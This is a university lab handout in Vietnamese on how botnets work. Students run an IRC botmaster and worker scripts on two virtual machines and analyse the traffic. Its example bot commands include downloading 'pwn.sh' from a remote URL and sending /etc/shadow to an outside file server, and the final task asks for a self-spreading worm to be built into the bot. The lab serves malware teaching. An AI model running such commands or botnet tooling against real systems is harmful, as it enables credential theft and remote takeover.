ĐẠI HỌC QUỐC GIA TP HỒ CHÍ MINH

TRƯỜNG ĐẠI HỌC CÔNG NGHỆ THÔNG TIN

CƠ CHẾ HOẠT ĐỘNG CỦA MÃ ĐỘC

LAB 04 – BOTNET

Duy Nguyen

KHOA MẠNG MÁY TÍNH VÀ TRUYỀN THÔNG | UIT.EDU.VN

I. MỤC TIÊU

- Tìm hiểu cơ chế hoạt động của Botnet
- Giả lập mạng botnet để thực nghiệm
- Tích hợp Simple Worm vào Bot

Chú ý: một số chú ý quan trọng khi thực hiện bài lab này. Môi trường mà tôi thục hiện trong bài lab này:

- 2 máy chủ Ubuntu Server 14.04.3 LTS (một máy đóng vai trò máy chủ, một máy đóng vai trò client để khai thác lỗ hổng trên máy chủ)
- Cài đặt những gói ứng dụng hỗ trợ trong quá trình thực thi và debug code (lưu ý chạy với quyền root)
    - Cài đặt GCC (để biên dịch code)
        - *sudo apt-get update*
        - *sudo apt-get install gcc*
    - Cài đặt GDB (để debug code)
        - *sudo apt-get install libc6-dbg gdb valgrind*
    - Cài đặt những thư viện cần thiết
        - *pip install irckit*
        - *apt-get install python-pip*
        - *apt-get install libevent-dev*
        - *apt-get install python-all-dev*
        - *sudo pip install greenlet*
        - *sudo pip install gevent*

II. YÊU CẦU 1 – Giả lập mạng Botnet

- Bước 1: lấy source code từ giảng viên hướng dẫn và đọc thật kĩ nội dung trong tập tin irckit.pdf để nắm cơ chế hoạt biên dịch và thử nghiệm mạng botnet.
- Bước 2: sao chép code lên cả 2 máy ảo.
- Bước 3: trên server
    - Khởi động chương trình wireshark để theo dõi quá trình kết nối của botmaster với irc.freenode.net.
    - Chạy code sau:
        - *python boss.py -c **secretbotz** -n **daboss1** -x **qwerty***

```
duyn@ubuntu:~/code/irc-master/botnet$ python boss.py -help
Usage: boss.py [options]

Options:
  -h, --help            show this help message and exit
  -s SERVER, --server=SERVER
                        IRC server to connect to
  -p PORT, --port=PORT  Port to connect on
  -n NICK, --nick=NICK  Nick to use
  -x SECRET, --secret=SECRET
  -c CHANNEL, --channel=CHANNEL
  -f LOGFILE, --logfile=LOGFILE
  -v VERBOSITY, --verbosity=VERBOSITY
duyn@ubuntu:~/code/irc-master/botnet$
```

- **Từ kết quả wireshark thu thập được. Hãy phân tích quá trình gì đang diễn ra**.

- Bước 4: trên client
  - Chạy code sau:
    - *python worker.py -b* ***daboss1***

```
duyn@ubuntu:~/code/irc-master/irc-master/botnet$ python worker.py -help
Usage: worker.py [options]

Options:
  -h, --help            show this help message and exit
  -s SERVER, --server=SERVER
                        IRC server to connect to
  -p PORT, --port=PORT  Port to connect on
  -n NICK, --nick=NICK  Nick to use
  -b BOSS, --boss=BOSS
  -f LOGFILE, --logfile=LOGFILE
  -v VERBOSITY, --verbosity=VERBOSITY
duyn@ubuntu:~/code/irc-master/irc-master/botnet$
```

  - **Từ kết quả wireshark thu thập được. Hãy phân tích quá trình gì đang diễn ra.**
- Bước 5: **sử dụng IRC Client để kết nối tới Server và thực hiện các command như bên dưới và báo cáo kết quả.**

run <program> Run the given program on the worker's host.

Example: `!execute run vmstat`

info Get info about the host the worker is running on

Example: `!execute info`

download <url> Retrieve a remote file and store it in the working directory

Example: `!execute download http://my-awesome-script.com/pwn.sh`

send_file <filename> <destination> Send file at <filename> to given destination (host:port) – this transers the raw data.

Example: `!execute send_file /etc/shadow some.fileserver.com:9001`

ports View what ports are open on the workers host

Example: `!execute ports`

status Return the workers queue size

Example: `!execute status`

get_time <format> Return the localtime from the workers host

Example: `!execute get_time`

III. YÊU CẦU 2 – Mở rộng mạng botnet với 2 bots

- **Tiếp tục những gì đang thực hiện tại yêu cầu 1, bạn hãy mở rộng mạng Botnet với 2 bots.**

IV. YÊU CẦU 3 – Tích hợp Simple Worm với Bot

- **Với những kiến thức về Simple Worm đã làm trong LAB 3 và Botnet vừa làm trong LAB 4. Bản hãy tích hợp Simple Worm vào Bot để ngoài việc thực hiện command từ xa còn có thể khai thác được lỗ hổng của máy từ xa.**